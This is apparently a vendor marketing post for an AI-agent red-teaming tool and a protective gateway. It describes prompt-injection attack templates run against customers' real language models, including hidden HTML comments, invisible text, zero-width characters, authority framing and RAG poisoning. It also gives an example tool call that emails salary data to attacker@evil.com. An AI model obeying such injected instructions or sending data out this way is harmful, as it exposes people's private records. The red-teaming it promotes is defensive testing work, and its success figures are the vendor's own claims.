Your LLM Failed 28 of 33 Attacks. We Watched.

Every CISO has heard the pitch: "Our AI security product protects your agents." And every CISO has the same unspoken question: "Prove it. On my infrastructure. With my model. Right now."

Most vendors can't do this. Their demos use synthetic scenarios, controlled environments, and pre-scripted outcomes. The attacker and the defender are both written by the same vendor. The result is predetermined.

We built something different.

The Demo That Changed Our Sales Process

Gulliver is an AI agent chaos engineering framework. It deploys attack templates against AI agents — half legitimate traffic, half adversarial — and produces a forensic report documenting exactly what happened.

When we first built Gulliver, we used a deterministic fake LLM. We scripted 23 response variants, seeded them for reproducibility, and ran 506 automated tests. Every run produced the same results. It was perfect for CI/CD, regression testing, and compliance evidence.

It was terrible for sales.

The first time we demoed it to a CISO, he said what every technical buyer would say: "You wrote the attacker and the victim. Of course your product caught it. How do I know my real model would actually fall for this?"

He was right.

So we built Live Demo Mode. Same 37 attack templates. Same adversarial scenarios. Same forensic reporting. But the LLM is real — the customer's own model, their own API key, their own provider. The tools are mock: they log what the agent would do but execute nothing. Zero production risk.

Real brain. Rubber bullets.

How It Works

The demo runs in three steps.

Step 1: Setup (2 minutes). We ask the customer two questions: which model do you use in production, and can you provide an API key for this test? We explain that the tools are sandboxed — mock functions that record actions but don't execute them. No production data at risk. No systems modified. No emails sent. No databases touched.

Step 2: The Unprotected Run (10-15 minutes). Gulliver runs 37 attack templates against the customer's real LLM. Each template is based on Google DeepMind's "AI Agent Traps" taxonomy, covering all six documented trap categories: content injection, semantic manipulation, RAG poisoning, behavioral control, systemic convergence, and approval integrity exploitation.

The results stream live. The CISO watches in real time:

Template 01: html_comment_injection ............. ✗ FELL
Template 02: css_invisible_text ................. ✗ FELL
Template 03: zero_width_unicode ................. ✗ FELL
Template 04: clean_content_control .............. ✓ CLEAN
Template 05: authority_framing_ceo .............. ✗ FELL
Template 06: rag_poisoned_knowledge_base ........ ✗ FELL
...
Template 33: multi_hop_chain_attack ............. ✗ FELL

Typical result across GPT-4o, Claude Sonnet, and Gemini Pro: 25-30 out of 33 adversarial templates succeed. Attack success rates between 75% and 90%. Consistent with DeepMind's published findings.

The room goes quiet.

Step 3: The Protected Run (10-15 minutes). Same 37 templates. Same model. Same API key. One change: the base_url parameter points to the SharkRouter gateway.

Template 01: html_comment_injection ............. ✓ BLOCKED
Template 02: css_invisible_text ................. ✓ BLOCKED
Template 03: zero_width_unicode ................. ✓ BLOCKED
Template 04: clean_content_control .............. ✓ CLEAN
Template 05: authority_framing_ceo .............. ✓ BLOCKED
Template 06: rag_poisoned_knowledge_base ........ ✓ BLOCKED
...
Template 33: multi_hop_chain_attack ............. ✓ BLOCKED

Typical result: zero successful attacks. Governance overhead: 14ms median.

The CISO Report

The output is not a dashboard screenshot. It is a forensic penetration test report — the kind a CISO can present to the board, share with auditors, or include in a risk assessment.

The report includes:

Per-trap-type breakdown. Content injection: 7/8 attacks succeeded unprotected, 0/8 succeeded with SharkRouter. Semantic manipulation: 5/6 succeeded unprotected, 0/6 with SharkRouter. The breakdown maps to both DeepMind's trap taxonomy and the OWASP Agentic AI Top 10.

Business impact simulation. Tool calls that the agent attempted are translated into business language: "HR agent attempted to email salary data to an external address. If this were production, 12,847 employee records would have been exposed." The CISO doesn't need to understand tool call JSON — they understand "12,847 records exposed."

Compliance mapping. Each attack template maps to specific regulatory requirements. Content injection maps to EU AI Act Article 15 (robustness). RAG poisoning maps to OWASP LLM07 (excessive agency). Approval integrity maps to EU AI Act Article 14 (human oversight). The report shows which compliance controls the attack would have violated.

Before/after comparison. The delta between unprotected and protected runs, presented as a single table. This is the proof that closes deals.

Why Mock Tools Are Not Cheating

A reasonable objection: "The tools are fake. How do I know the agent would behave the same way with real tools?"

The tools are fake by design — for safety. But the agent doesn't know they're fake. The mock tools have identical schemas to real tools. They accept the same arguments. They return plausible responses (a successful email send returns a message ID, a database query returns sample rows). The LLM has no way to distinguish a mock send_email from a real one.

What we're testing is not whether the tool works. We're testing whether the LLM follows malicious instructions embedded in content it reads. The tool is the recording device. The model's decision to call the tool — with specific arguments, in response to specific content — is the evidence.

If the model calls send_email(to="attacker@evil.com", body=salary_data) against a mock tool, it will make the same call against the real tool. The decision happens in the model. The tool just executes.

Lab Mode vs. Live Demo Mode

Gulliver operates in two modes for two different audiences:

Lab Mode is for engineering teams. It uses a deterministic fake LLM with 23 seeded response variants. Results are reproducible across runs. 506 tests pass in 30 seconds at zero cost. This is the CI/CD backbone — every code change is tested against the full attack template library before deployment.

Live Demo Mode is for security teams and CISOs. It uses the customer's real model with mock tools. Results are non-deterministic (because real LLMs are non-deterministic). Each run costs $5-20 in API tokens. It takes 10-30 minutes. The output is the forensic report that closes deals.

Both modes use the same 37 attack templates with ground truth labels. Both produce the same report structure. The difference is what generates the responses: a scripted engine or the customer's actual production model.

The Escalation Funnel

Gulliver Live Demo is not the first tool a prospect encounters. It's the third:

Step 1: Warden (free, open source). The prospect runs pip install warden-ai && warden scan . against their codebase. They get a governance score out of 100 across 17 dimensions. Typical result: 15-25. This creates awareness: "We're exposed."

Step 2: Inspect Census (free). Census scans their network for every AI agent — governed and ungoverned. Typical result: 47 agents discovered, 35 ungoverned. This creates concern: "Who approved these?"

Step 3: Gulliver Unprotected (free). Live Demo Mode runs 37 attack templates against their model. Typical result: 28/33 attacks succeed. This creates urgency: "Fix this now."

Step 4: SharkRouter PoC. Same attacks, through the gateway. Result: 0/33 attacks succeed. This creates proof: "Deploy this."

Each tool builds on the previous one. Awareness → Concern → Urgency → Proof. By the time the CISO sees the Gulliver report, they've already seen their governance score, their agent inventory, and their model's vulnerability. The PoC is not a leap of faith — it's the logical conclusion of evidence they've seen with their own eyes.

---

Request a Gulliver Live Demo at info@sharkrouter.ai

Or start with Warden — free, open source, 60 seconds to your governance score:

pip install warden-ai
warden scan . --format html